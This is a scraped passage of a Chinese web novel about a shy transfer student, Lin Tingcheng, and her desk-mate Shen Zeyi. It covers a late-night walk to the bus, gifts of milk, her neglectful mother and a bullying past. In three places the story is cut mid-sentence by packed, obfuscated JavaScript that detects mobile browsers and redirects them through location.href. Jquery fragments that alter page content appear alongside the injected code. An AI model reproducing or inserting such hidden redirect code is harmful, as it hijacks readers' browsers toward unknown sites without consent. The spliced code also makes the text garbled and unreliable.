「我害怕漆黑的夜晚,害怕静谧的小路,可我总一个人走过无数的黑夜。直到那天晚上,他走在我身后,我看着路灯的光影斑驳地洒在地面,映照出高低的身影,我感受到了前所未有的平静与安心。」 ——小澄同学.FM0106 · 林听澄收到邬戾的吃饭邀请,说是为了弥补上次打球差点误伤她们的歉意。 许早第一个答应,并且点名要吃校门口的那家烧烤。 林听澄犹豫了半天,最终还是婉拒了。 “为什么不去呀?那家烧烤真的好好吃。” 许早光是想想就已经要流口水了。 她拉着林听澄的手臂使劲儿晃着撒娇:“去嘛去嘛,人多热闹。” 林听澄声音低柔,耐心和她解释:“我家离学校远,放学得赶公交车。真的不好意思,辜负了你们的好意,希望你们玩得开心。” 许早有些失落:“你做哪路公交车?” “27路。”林听澄说,“末班车是九点半发车,开到学校附近的站台差不多是九点五十。” 邬戾若有所思:“那确实,时间比较紧。” 他们晚自习上到九点半结束,从收拾书包到走到校门口,再从校门口走到公交站,至少需要十五分钟,林听澄每次都是卡着最后两分钟赶到站台。 “要不给你买点带着路上吃?我记得学校后巷那边有一条可以抄近路的小道,几分钟就能到站台,应该来得及。” “再或者,我们改到周末约?” 邬戾半个身体倚在墙上,皱眉思考。 林听澄摇了摇头,再次道歉:“不用啦,没有必要为了我改变你们的时间,不想耽误你们。” 林听澄拒绝得太温柔太客气,以至于他们无法再强求。 邬戾像丢了魂,闷闷不乐地拍了下沈择屹的后背,问:“你呢?去不去。” 林听澄的目光投向伏在课桌上睡觉的少年。 他们说了多久的话,沈择屹就睡了多久。 他双臂曲着搭在桌面,脑袋埋在手臂下,看起来睡得很沉,好像完全没有被周围的吵闹声所影响。 见他没反应,邬戾又拍了下。 沈择屹这才懒洋洋地仰起头,撩起惺忪的眼,吐出两个字:“不去。” “……?” “你不是说今晚有空的吗?” 邬戾顿时有一种拳头打在棉花上的无力感。 “没意思。” 似乎是被扰了睡觉,沈择屹整个人兴致不高,说话的语调也透着一股无精打采的慵懒。 “行行行,爱去不去。” “反正沈大少爷也不缺这一顿。” 话音落下,广播里响起预备铃。 邬戾伸了个懒腰,晃晃悠悠回了座位。 今天晚自习是物理老师值班。 第一节课正常讲课,第二、三两节课自习写作业。 教室里很安静,静到能听见窗外的风声,正呼哧呼哧地透过窗子侵袭而来。 尽管天气回暖,但昼夜温差大,晚上的风还是有些凉。 林听澄穿得少,冷风钻进薄薄的衣衫里,她下意识缩了缩肩膀,左手蜷进袖子里。 紧接着,打了一声喷嚏。 她侧过头,目光落在半开的窗户上。 她有点想把窗子关起来,或者关上一半。可周围同学似乎没觉得冷,有些男生不仅没穿外套,甚至还挽起了衣袖,比如她的同桌。 犹豫了一会儿,林听澄还是决定不关窗了。 视线刚收回,身旁传来了一些动静。 林听澄看过去,只见沈择屹扬起手拉住窗子边框,挽起衣袖的手臂修长而有力,露出半截冷白的肌肤,在月光的衬托下,微微迭起的青色筋脉清晰可见。 他轻轻一拽,将那半扇窗全部关上。 耳边忽然清静了。 没有冷风席卷的嘶鸣声,没有鸟鸣的嘈杂声,只有书本哗哗的翻页声。 林听澄有几秒的出神,脸颊不受控地攀上一抹淡淡的粉。 她摸了摸自己的脸,贴着肌肤散发着些温热。 林听澄不敢多想,悄悄埋下头缩进衣领里。 手里攥着笔,盯着书上的题目,可脑海中的解题思路早已被打乱。 这道题,她是真的解不出来了。 她不想浪费时间,直接带着题目去办公室问老师。 老师见她谦虚好学便多讲了几道题,谁知耽误了放学时间,等她匆匆赶回教室,教室里已经空无一人。 最重要的是,距离公交车到达车站仅剩十分钟。 林听澄像泄了气的气球,瞬间垂下脑袋。 眼下的时间显然赶不上末班车,而错过了她就无法回家。 她独自站在校门口,看着漆黑的夜,空荡的路,陷入了迷茫。 想过打车,可她身上的钱都不超过五块。 也想过向保安借手机打电话找人来接,可她身边连个能接的人都没有,总不能打给警察叔叔,说自己找不到回家的路,帮忙送一下吧。 踌躇之际,她忽然想到邬戾说过的话—— 学校后巷有一条小道,几分钟就能到站台了。 林听澄决定去试试。 她原以为这种小道会隐蔽难找,可当她绕到后巷,看着眼前唯一的一条路,终于意识到邬戾所说的“一条小道”真的只是一条。 窄而不平整的路,昏暗而少量的路灯。 看不到任何人影,只是一条无尽漆黑的路。 林听澄深深呼了一口气,扯了扯书包肩带往里面走去。 她不是第一次走这种路。 之前在云榕,她一直都是独自上下学,必经之路就是这样的小路,甚至比这条路更黑更看不到尽头。 她自然是害怕的,总担心身后有人跟着,或者碰到什么奇怪的人。所以她会在书包里放一把剪刀,走这条路时会紧紧攥在手心里。 就这样,还算安全地走过了几年。 她以为经过这几年的锻炼,自己能够适应,但如今走在这条陌生漆黑的路上,还是会忍不住害怕。 路灯垂下暗黄色的光线,铺洒在两侧凹凸不平的墙壁上,她每往前一步,她的影子随之放大拉长。 直到斜右方传来一阵声响。 林听澄心头一紧,停下脚步,朝声源处看去。 月色笼罩,灯火阑珊。 少年斜倚在路灯下,右肩背着书包,双手随意插在口袋里。穿着宽松的连帽卫衣,帽子松松地扣在头上,压下额前的碎发,低低地遮住眉眼。 他个子很高,身形高而挺拔,一身黑色和夜色浑然一体,随意往那儿一站便流露出一股松弛感,举止姿态更透着几分放浪形骸的傲气。 只一眼,她便认出是谁。 高高悬起的心仿佛找到了依托,缓缓地落了下来。 沈择屹察觉到她的视线后,收起了那副野痞的姿态,揽下头上的帽子,被压着头发蓬松散开,露出深邃的眉眼。 他望向她,一步一步朝她走去。 隔着半步的距离,在她身前停下。 微微俯身,高大的身影笼罩而下,遮住身后唯一的路灯,侵略性地将她包围吞噬。 他低下头,隔着昏暗朦胧的光线对上她的眼。 光影落下她的睫毛上,睫毛长而卷,轻轻扑闪着。黑色的眼眸明亮清澈,没有一丝躲闪的意味,直勾勾地对视相望。 沈择屹眉梢舒展,嘴角扬起。 声音清醇如酒,莫名缱绻温柔:“吓到你了?” 林听澄眨了下眼,下意识点头,随即又摇头。 沈择屹觉得有几分好笑,她这副模样像极了受到惊吓的小兔子。 他悠悠站直身子,盯着她问:“去哪?” 林听澄的视线跟随他的动作,等他站直后,自己也同步仰起了头。 他真的很高,高到让自己有了压迫感。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139996|164479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她不自觉往后退了一步,眼神有些飘忽,说道:“公交站。” “走吧。” 沈择屹漫不经心地应了声,单手插在口袋里,又恢复那般懒散模样。 林听澄疑惑:“嗯?” 他懒懒掀了下眼,扯了扯唇角:“一起。” 林听澄顿了一瞬,脑海中不自觉地浮现出那个雪夜的场景,竟有几分相似几分融合。 她仰头看向他,他低头注视着她。 风吹过,轻轻拂过少女的秀发,悄无声息地拂过她的心,掀起层层涟漪。 此刻,无尽的黑夜,不再是她一个人。 她低头,能看见两人高低错落的身影。 她转头,能看见双手插兜的少年懒散地跟在自己身后。 夜色漫漫,月亮高悬。 空气中弥漫着潮湿的草木气息,混杂着泥土的芬芳,是如此的舒心与宁静。 正如邬戾所说,这条近路几分钟就能到车站。 他们走到站台时,27路正好驶来。 林听澄从包里拿出公交卡,同时看了眼沈择屹,试探问道:“你也坐公交车吗?” 沈择屹神色坦然,从容开口:“嗯。” 话音落下,27路缓缓停在他们面前。 停稳后,车门打开,林听澄拿着公交卡刷卡进去。 沈择屹跟在她身后,慢悠悠从口袋里拿出一张二十块的纸币,正准备塞进去时,林听澄匆忙拦下。 “两块就够啦。” 她音量比平时高了几分,似乎震惊于他的举动。 不等他回答,又主动帮他刷了公交卡,传来一声“嘀”,机器播报“学生卡”。 车上人不多,零零散散的几个学生。 不过也正常,27路的行驶路线过于偏远,在一中上学的学生,要么是住在附近的学区房,步行几分钟或者坐公交车两三站就到了,要么是家长开车专门接送, 总之,家长不会舍得让自己孩子受苦的。 林听澄收起公交卡,朝车厢后面走去,选择在后排靠窗的位置坐下。 沈择屹等她坐好后,很自然地落座在她身旁的空位置。 两人坐得挺直,肩膀隔着些距离,青涩又拘谨。 空气骤然静谧。 好在车厢适时插播的一条广告打破了这微妙的气氛。 “沈择屹。” 林听澄趁此开口,她看向他,轻眨了下眼。 “你平时应该不怎么坐公交车吧。” 她声音很小,小到只有彼此能听见。 如果常坐公交回家,大多数会选择办公交卡,既方便也优惠。或者身上备着硬币,反正不会从口袋里拿出纸币,还是二十块的纸币,没有一丝犹豫就要往投币箱里塞去。 他的举动太反常了。 沈择屹偏过脑袋。 清了下嗓子,淡淡开口:“今天去找个朋友。” 林听澄点了点头,似乎是信了,没有再问。 她收回视线,目光缓缓移向窗外,透过玻璃看向外面的景色。 漆黑的天空低沉地压下,闪烁不定的霓虹灯如流水般掠过,眼前的景随着车的前进逐渐模糊。 下一秒,车驶进隧道。 眼前陷入一片昏暗,像是进入了异世界,而玻璃窗上却灯光交错地倒映出了沈择屹的脸。 他就这样毫无预兆地闯入了她的视线。 斑驳的玻璃,优越的侧脸。 昏暗的灯光笼罩在他的眉眼,仿佛渡上了一层薄雾,模糊了他的脸。 就这一刻,他忽然转过了头。 清晰的轮廓、硬朗的五官,竟如此分明地出现在玻璃窗上。 林听澄的心猛然一颤,几乎快要忘掉呼吸的节奏。 在倒影中,她清晰地看到了他的眼眸。 彼此的眼神在透明的窗户上交织,像是逆了一个世界的对视。 这一秒,像梦一样的心跳。 5. 一六年春 「我好像找到了比太阳更温暖更耀眼的存在。」 ——小澄同学.FM0106 · 林听澄回到家已经过了十点半。 她站在门外,清楚地听到屋内传来的嬉笑声,有片刻无措,但还是从包里摸索出钥匙打开了门。 打开门的那一瞬,屋内的笑声戛然而止。 客厅里的女人一头卷发慵懒地躺在沙发,她身边坐着一位戴眼镜的中年男士,手拿叉子给她喂水果,笑容灿烂。 林听澄站在门口,与他们目光相撞。 她抿了下唇,低着声音:“妈妈,李叔,我回来了。” 一秒、两秒……没人回应,空气中有那么一丝尴尬。 她没在意,蹲下身换鞋。 紧接着,耳边传来中年男人的沙哑声:“回来了啊澄澄,吃了没?冰箱有饭菜,饿了自己热热。” 林听澄挤出一抹笑,“谢谢李叔,我不饿,我回房间写作业了。” 关上门的那刻,林听澄依稀听见外面的对话。 “都说了让你不要管她,你关心她干什么?” “老婆,毕竟是你女儿嘛,这么晚回来适当问候几句吧。” “那也是她自愿的,当初让她在家门口上职高,她不听,非要读什么一中,还要用死威胁我。这副德行跟她爸一个样,看着我就来气。” “哎哟别气别气,吃个水果消消气。” …… 林听澄的心脏仿佛被烟烫了几个洞,无比的疼。 她沿着床边缓缓蹲下,双臂环着膝盖紧紧抱住自己,视线开始变得模糊。 在外婆去世的第八天,林纭把她接回了松槐。 她知道,自己跟林纭回松槐,日子会不太好过,但是她别无选择。 在她还没有能力做出选择和改变时,她只能先活着。 林听澄强忍着泪仰起头,不知何时外面已经下起了雨,淅淅沥沥地敲打着窗户。 窗台上,雪花水晶球静静摆放着,那是外婆去年送给她的生日礼物。 林听澄眼睛忽然酸得厉害,想起去年夏天,也是一个雨天。 她和外婆坐在庭院里乘凉,外婆躺在竹摇椅上,手持蒲扇轻轻晃动,自己则坐在一旁背《琵琶行》给她听。 外婆不识几个字,更听不懂什么意思,但是她爱听,自己也爱背给她听。 背完一首,外婆奖励给她一根棒棒糖,然后问了她一个问题。 她问,“小澄啊,你恨妈妈吗?” 林听澄眼睛瞬间湿润了。 她不知道怎么回答,只是盯着外面滂沱的大雨,摇了摇头。 她的出生或许是个错误。 林纭是未婚先孕,二十岁时怀上了林听澄。 父亲苏睿在林纭孕期出轨,带着情人远走高飞。 林纭受不了打击,当即早产被送进医院,生下了林听澄。小小的宝宝被送进保温箱观察,林纭却恨不得当场把她掐死。 因为她恨这个孩子,恨是苏睿的孩子。 出院后林纭患上产后抑郁,看到孩子就忍不住打她掐她,好几次就剩那么一口气。幸亏外婆及时赶来,救下了孩子。 在那之后,外婆便时刻把孩子带在身边,坚决不让林纭和孩子单独待在一块儿。 林纭也不稀罕,直接丢下孩子一走了之。 每年只有过年才回趟家,每次回来,她身边的男人都会换一个新面孔。 林听澄那会儿年纪小,不知道妈妈为什么丢下自己。 只知道,妈妈不喜欢自己。 外婆心疼地把她揽进怀里,继续问她,“会想妈妈吗?” 眼泪滑下脸颊,林听澄小心翼翼地点了点头。 幼儿园时,总会有很多亲子活动,她没有父母不能参加,外婆年纪大不适合参加。她每次都只能乖乖待在一旁,看别的小朋友和父母比赛玩耍。 小学时,期中考试和期末考试都会开家长会,她让外婆来参加,却被同学们嘲笑是“没爹没妈的野孩子”。她安慰外婆让她别在意,可到了晚上,自己一个人躲在被窝里悄悄掉眼泪。 初中时,她总是羡慕有父母接送的同学,而自己只能独自走过漫长的黑夜。有几次被高年级的男生拦截勒索,她害怕到发抖却还是勇敢地拿出剪刀,将利刃对准他们。那个瞬间,脑海中总会重复浮现妈妈的模样。 她,很想很想妈妈。 外婆抱着她轻轻地拍着后背,颤着音对她说:“没事的,你有外婆,外婆爱你就够了。” 那年夏天的滂沱大雨持续下着,淋湿了林听澄无数个日日夜夜。 如今,雨小了,外婆也不在了。 林听澄哽咽到难以呼吸,胡乱地擦拭着脸颊上的泪水。 看着窗外那轮明月,沉了沉气息。 她一定会考上好大学,成为自己的依靠。 · 早上六点五十,林听澄来到教室。 教室没什么人,但出乎意料的是沈择屹已经在座位上了,正趴着睡觉。 少年的头发柔顺垂下,在晨光照耀下泛着淡淡的金色,有几根发丝高高翘起,在风中凌乱的飘着。 他面朝左边,侧着脸枕在右臂上,左手绕过脑袋,松松地搭在后颈。 那张干净的面容就这样毫无遮挡地出现在林听澄视线里。 不知道是不是注视的目光有些炽热。 沈择屹眼睫颤了颤,缓缓睁开了眼。深邃的眉眼透着些倦怠,浓密的睫毛洒下淡淡的阴影。 他睁开眼后,第一眼看到了林听澄。 他眼尾微挑,尾音扬起,扯了扯唇:“偷看我?” 语调是一贯的散漫,可看向她的眼神却柔和得不带一点攻击性。 林听澄有片刻的失神,随即摇了摇头。 她低下头整理书包,温声细语:“没有,是正视你。” 沈择屹被她这句话逗笑了。 挑起的眉眼牵动着眼尾的小痣,语气漫不经心:“正视?那现在怎么不看了?” 林听澄有些后悔,她就不该搭他的话。 她没有回答,只是一个劲儿地将书本作业全都摆在桌面上。 这时,她这才注意到,自己的课桌上放了两瓶牛奶。 没有一丝犹豫,她直接将牛奶移到沈择屹的桌上。 “不是我的,应该是别人不小心放错地方了。” 林听澄解释了一句。 和沈择屹做同桌的这段时间,她总能看到有女孩子给他送礼物送情书,或者趴在窗外走廊远远地看着他。 可惜,他都拒绝了。 这些牛奶估计也是某个女生送的,害怕被当面拒绝便匆匆放下跑走了。 沈择屹收起了刚才的痞气。 坐直身子,将牛奶重新放到她桌上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139997|164479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼底有几分认真:“是我给你的。” 林听澄手上动作顿了顿。 那几个字像是长着柔软的触角,慢腾腾地轻扫她的皮肤。 她转头看他,直视他的眼睛。 在光照下,黑色的眼眸呈漂亮的琥珀色,灿烂又迷人。 而光下的少年,更耀眼。 沈择屹微微歪着头,遮住了半缕阳光,晃着斑驳的光影,漫不经心地开口:“昨天你帮我刷了公交。” 林听澄顿时明白了他的意思。 下意识婉拒:“没事的,只是一件很小的事情,同学之间不用计较这些。” 沈择屹当作没听见,分别扭开两瓶牛奶的瓶盖。 一瓶草莓味,一瓶芒果味,依次摆放在她面前。 “不知道你喜欢什么味道,就把仅有的两种味道都买了,你喜欢哪个?” 林听澄愣住了。 “如果你都不喜欢的话,直接拒绝就好。然后告诉我,你喜欢的口味,我中午重新给你买。” 沈择屹再次开口,声音柔了很多。 沈择屹做得直接,问得坦然,让人无法拒绝。 林听澄垂下眼,仿佛是在挣扎,过了好一会儿缓缓拿起了那瓶草莓味的牛奶。 沈择屹看向她,像是在做最后的确定。 他问:“不喜欢芒果味?” “嗯。”林听澄轻轻应了一声。 他继续问:“喜欢草莓味?” 林听澄睫毛颤了下,像是鼓足了勇气,点下了头:“嗯,喜欢。” 沈择屹神色悠然,将那瓶芒果牛奶拿回自己的桌上,心情愉悦地走出教室。 林听澄握着那瓶牛奶,盯了许久。 微微举起,浅浅地喝了一口,醇厚的奶味混着草莓的清甜缓缓入口,弥漫整个口腔。 很甜,很好喝。 这时,许早背着书包蹦蹦跳跳地踏进后门,热情地和林听澄打招呼:“早啊,澄澄!” 注意到林听澄手里拿的牛奶是草莓味,疑惑地皱起了眉:“你不是不喜欢草莓味吗?” 上次课间,许早拉林听澄去小卖部买零食。 结账时,看到旁边有草莓牛奶,便顺口问了句,“澄澄,你喝草莓牛奶吗,要不要来一瓶?” 也是那一秒,林听澄下意识地脱口而出。 ——“我不喜欢草莓味。” 林听澄抿了抿唇。 看着许早,笑得很柔:“突然想尝试一下。” 她其实很喜欢草莓,也喜欢草莓味的一切。 只是小时候家里条件拮据,草莓价格昂贵,她舍不得用外婆辛苦赚来的钱去给自己买奢侈的草莓。 所以,她总是把“不喜欢草莓”挂在嘴边,连带着草莓味的一切,她也都不喜欢。 时间久了,她差点真的以为自己不喜欢草莓了。 直到今天,沈择屹让她做选择。 她下意识就要拒绝草莓味,去选择芒果味。 可他那么认真,那么细致,一遍又一遍询问自己的意见,确定自己的答案。 林听澄的心仿佛被什么轻轻敲了一下,突然醒了过来。 她其实一直都喜欢草莓。 风低低地吹过,绿叶轻轻地晃动。 林听澄抬头,望向窗外的少年,他被光所笼罩,驻足在自己的眼眸。 是如此的耀眼,如此的炽热。 6. 一六年春 「后来,我在无数个失眠的夜里,总会想起他给我讲题目的模样,如月光那般温柔舒心。」 ——小澄同学.FM0106 · 高中的食堂永远是最拥挤的。 明明饭菜那么难吃,但每个窗口前仍是长长的队伍。 林听澄站在队伍的末端,看着前面的队伍,也不知道什么时候能够轮到自己。 突然间,她想起许早。 她在的时候,总是会第一时间拉着自己的手飞奔向食堂,领着自己排在队伍的前端,在耳边叽叽喳喳地报菜名。 如今,她不在。 打完餐后,林听澄端着餐盘找了一个角落位置坐下。她喜欢这种不引人注目的偏僻地方,有种把自己藏起来的感觉,仿佛这样就不会被人发现。 可刚吃两口,一道熟悉的身影朝她走来。 “这儿有人吗?” 沈择屹端着餐盘站在她的桌前,发出的声音清冽明亮,在这嘈杂的环境中尤为悦耳。 林听澄看着他,摇了摇头。 沈择屹又问:“能坐?” 林听澄没答应也没拒绝,只是端起餐盘往自己面前挪了挪,轻声问了句:“你怎么没和邬戾一起?” 沈择屹在她对面坐下,“他不知道去哪了。” 话音落下没多久,邬戾端着餐盘跑来。 “不是和你说我们在A区么,你怎么跑B区……” 话还没说完,沈择屹打断了他的话,拍了拍自己身边的空位置,说道:“刚好有位置。” 邬戾没明白他话里的意思。 他们那边也有位置啊,还是八人大长桌。 “算了,来都来了,一起吃吧。”邬戾自言自语,利落地在他旁边坐下,看到林听澄身边的空位置,又随口问了句:“你怎么一个人?” 林听澄以为他是想问许早,便主动和他解释:“许早有点低烧,请假回家了。” “不是,我是想问,你怎么没找其他朋友一起,一个人吃饭多孤单啊。” 邬戾从口袋里拿出纸巾,细致地擦拭筷子。 “我没有其他的朋友。” 林听澄眼睫眨了下,轻飘飘地说出了这句话。 邬戾愣了下,抬头看着林听澄。 林听澄没有任何反应,只是很淡定地将碗里的香菜挑出放在旁边。 在初高中这个阶段,好像每个人都会有自己的小圈子。 没有人会愿意承认自己没有朋友,因为这会让人觉得不可思议。毕竟,班里那么多同学,总会有一两个和自己玩得好的。如果真的没有,难免会投来一些异样的眼光,让人觉得,这个人可能性格有点问题,或者是不合群, 但其实,朋友并不是唯一的。 即使独自一人也没关系,内心的充盈才是最重要的。 邬戾后知后觉自己的反应有些大,赶紧找补了两句。 “没事,你这才来一个月,时间久了就都认识了。” “你放心,许早不在的时候,我和沈择屹陪着你吃饭。” 邬戾说完用手肘拱了下沈择屹,示意他接话。 沈择屹接收到他的信号,但并不想接他的话。 他看着林听澄挑香菜的动作,低着嗓音问了句:“不吃香菜?” 林听澄挑香菜的动作顿住,抬眼和他相视,轻轻“嗯”了一声。 邬戾见他不接自己的话,以为他不愿意,瞪了他一眼。 又朝林听澄拍着胸脯保证:“没事,沈择屹没空,我有空。我身边有很多朋友,全部介绍给你,大家以后一起吃饭一起玩。” 林听澄笑了笑:“没关系,我在之前的高中也都是一个人,习惯了。” 沈择屹的筷子在空中僵了一下。 “怎么可能?你长得这么好看,性格这么温柔,应该有一大群人围着你啊。” 邬戾不假思索地脱口而出。 这次是真的不相信了。 林听澄有些沉默。 不知道该怎么回答。 在云榕读书的那几年,她身边确实没什么朋友。 她不会主动社交,也不会去维持一段关系。有人和她讲话,她会礼貌回应;有人找她聊天,她会简单聊两句。看起来和谁都能相处,但又好像无法再深入的相处。 她知道自己这样的性格是交不到朋友的,可是她无法走出那段阴影。 初二那年,是她的噩梦。 因为和某个男生讲了一句话,引起其他女生的不满,她们朝她泼冷水;跑步时故意伸出一只脚绊倒她;考试过程中给她丢纸条然后跟老师举报作弊;诬陷她偷钱,遭到全班同学排挤,就这样被冠以“小偷”之名。之后不断的流言蜚语朝她飞来,将她压垮。 没有任何的动作暴力,全是语言攻击、孤立排挤、一些看似无意其实故意的行为…… 林听澄不知道自己是怎么熬过那段时光的。 她不敢告诉任何人,她的身后除了外婆,再没有其他可以依靠的人了。 可她心疼外婆,不想让外婆为自己担心。 后来读初三,进行了分班,班里没有了那群人。但谣言满天飞,所有人都用异样的眼光看她,没有人愿意和她做朋友。 林听澄不在意,她清楚地知道,这不是她的错。 所以,她学会了独来独往,学会了充盈自己。 做一个淡淡的人,也很好。 直到她来到松槐。 遇到了许早,一个像向日葵那样灿烂美好的女孩子。 时间似乎停滞了很久。 邬戾意识到气氛不对,绞尽脑汁扯了一个很干涩的话题。 “也不知道许早严不严重,可千万别是流感,不然我们几个完蛋了啊。” “许早天天和林听澄走在一起,林听澄和沈择屹是同桌,沈择屹又和我在一起玩,直接一个传染三啊!” 沈择屹被气笑了,瞥了他一眼:“你就不能盼着点好?” 林听澄知道邬戾就是那样的性格,所以没在意。 吃完最后一口,她端着餐盘起身。 “我吃完了,你们慢慢吃。” 刚走出一步,又折返回来,很认真地看着他们,一字一句—— “谢谢你们陪我吃饭。” 短短一个月,她似乎在这里收获了太多。 . 林听澄以为邬戾中午说的那些话是开玩笑的。 没想到,他晚上真的带着一群朋友来找她,说要陪她吃晚饭。 一群人黑压压的堵在后门,邬戾单手举起撑在门板上,一副“爷真牛”的姿态。 “林妹妹怎么样啊,要不要跟小爷的朋友们一起共进晚餐?” “帅哥美女全都有,保证你开心!” 邬戾笑得春风得意,就差换上西装发出郑重的邀请了。 正趴在桌上休息的林听澄缓缓起身,看着邬戾和他身后的朋友,心里一阵愧疚。 “对不起邬戾,我有点不舒服就不去吃饭了。” “没有骗你,真的不舒服,很抱歉。” 林听澄怕他误解,也怕自己辜负了他的一番心意,连连道歉。 邬戾看到她的脸色被吓了一跳。 “我靠!你脸色怎么这么差。” “不会真被我说中了吧?你哪里不舒服,发烧吗?” “没有,我只是肚子疼,不是流感症状。” 林听澄是生理期来了,肚子疼得厉害。她每次来生理期都腰酸肚痛,疼到浑身冒汗。 邬戾松了一口气:“那要送你去医务室吗?还是需要我做点啥?” “没事,你去吃饭吧,我自己休息会儿。” 林听澄强撑着身体,挤出一抹笑。 “行,那你好好休息。我吃饭去了。” 说完,邬戾带着身后那帮朋友朝食堂走去。 邬戾走后,教室瞬间空了。 所有同学都去食堂吃饭了,只有林听澄趴在桌子上。 五点半的傍晚很漂亮。 太阳沉没,暮色降临,晚霞的余晖晕染了半边天,燕雀穿过云层盘旋在空中。 刚从办公室回来的沈择屹,一进教室就看到趴在桌上的林听澄。 他试探性地叫了声:“林听澄?” 她没有回应,沈择屹将那摞试卷放在讲台上,缓缓走到她身边。见她整个脑袋埋在手臂下,便主动蹲下身,低着声音问她:“怎么了?” 林听澄好像听到了什么动静,肩膀微微耸动了一下。脑袋从手臂间探出一点点,露出一双眼睛,轻轻眨了眨。 看见沈择屹蹲在自己身边后,她愣了一下,慢吞吞地开口:“你怎么没去吃饭?” 沈择屹没回答,又重复了一遍:“你怎么了?” “有点肚子疼。”她声音很轻,“不过没事。” 沈择屹似乎明白了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139998|164479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么。 他起身拿过林听澄桌上的水杯,走向饮水机。往杯里倒了半杯热水,又兑了些凉水进去,晃了晃杯子,水温均匀后才放到她的桌上。 “记得喝。” 沈择屹没再多说什么,把窗户关上后就离开了教室。 林听澄露出脑袋,悄悄看着他离开的背影。 外面的黄昏已经褪去,夜色渐渐暗下,少年的身影消失在楼梯拐角处,融合在温柔的月夜里。 她以为沈择屹不会再回来,可过了十分钟,他拿着三明治和牛奶走进了教室。 他没说话,把东西放在她桌上,敛着眉低头看向她, 声音压得低缓,尾音轻轻勾起:“吃点?” 林听澄呆呆地愣在原地,半晌,才说出一句:“谢谢。” 声音有些哑,透着满满的憔悴。 随后她拿过牛奶,一丝温热透过瓶身渗入自己的手心。拧开瓶盖,浅浅抿了一口,和上次一样的草莓味,只是她实在没什么胃口,喝了一口便不想喝了,三明治也没有吃。 她转头看向沈择屹,眼底透着疲倦:“这些多少钱呀,我付给你。” 他眼神从空中缓缓落下,注视着她的眼:“下次请我吃饭吧。” “好。”林听澄轻轻应下。 空荡荡的教室,安静得没有一点声响。 窗外,夜色黯淡,远处的香樟树缠挂着小闪灯,闪烁着微弱的光芒,楼下的交谈声随着晚风窸窸窣窣地飘进教室,时而清晰,时而模糊。 晚自习的三节课实在难熬。 林听澄没有力气坐直,只能用掌心托着下巴,勉强维持自己写作业。而题目有难度,人在不舒服的时候,大脑总会减速运转,思考了好几分钟她都没解出来。 “趴一会儿吧。”沈择屹突然开口。 她摇了摇头,手上的笔尖不停:“趴下来影响我大脑运转。” 沈择屹笑了。 他漫不经心地看着她,腔调透着些懒洋洋:“哪题?” 林听澄手上的笔蓦然停下。 用余光偷偷看了眼沈择屹,犹豫了会儿,笔尖在最后一道函数大题上点了点。 下一秒,沈择屹靠了过来。 一股淡淡薄荷味侵袭而来,清爽又带有一点甜, 林听澄下意识偏了下头,鼻腔被他的气息所包围。再抬眸,她看见少年白色的纯棉衣领,喉结微微凸起,修长的脖颈透着青色筋脉。 近距离看他的五官,凌厉的眉,深邃的眼,挺直的鼻,粉润的唇,竟找不到一丝瑕疵。 “这题主要的考点是……” 他注视着题目,笔尖落在纸上。 声线清润,咬字清晰,听起来格外舒服。 林听澄收回视线,重新落在题目上。 看着他从第一步讲解到最后一步,每一步都讲明原因,甚至还说了第二种解法,她有点惊讶。 她之前去办公室问老师题目,老师向来只讲一种。但她求知欲很强,想多学一点多掌握一点,会主动问老师有没有别的解法,老师也只是说“掌握一种就可以了”。 如今,却没有想到沈择屹会这么全面地给自己讲题。 讲完题目,沈择屹低头扫了眼她,嗓音低醇:“有没有哪里不明白的?” 林听澄回神,指尖点了下第二问的题目,“第二小问能不能重新讲一遍?” 沈择屹点头,重新将第二问拆开讲,每讲完一个步骤都会问她听懂没。他讲得认真细致,声线温柔,以至于林听澄听得有些犯困了。 她本身身体不适,状态欠佳,这会儿安静地听他讲题,仿佛世界都沉浸了。 “沈择屹。” 林听澄忽然叫了一声他的名字,声音轻柔,似缠绵的风,透着股清甜。 “嗯?” 沈择屹垂眼望向她,尾音扬起,带着几分随性。 林听澄看着他,少年坐在窗边,漾着窗外的月光,整个人显得格外温柔。 她笑了笑:“你的声音好催眠。” “是我的声音催眠?还是我讲题催眠?” 沈择屹的嘴角笑意分明。 林听澄似乎真的要睡觉了。 眼睫颤呀颤,含糊不清地呢喃:“声音很温柔,我听着很舒心。” 空气静了一霎。 沈择屹的嘴角微微扬了些,眼底有几分认真。 “那,我继续讲,你睡会儿?” 7. 一六年春 「在梦里,我好像看到了他的脸。」 ——小澄同学.FM0106 . 教室不算安静,抬眼望去大家都在讲悄悄话,更有甚者,直接越过好几个同学隔空讲话。 林听澄听到沈择屹的那句话,眼睛忽然睁大,似乎有些不可置信:“你在开玩笑吗,外面有老师在巡逻哎。” 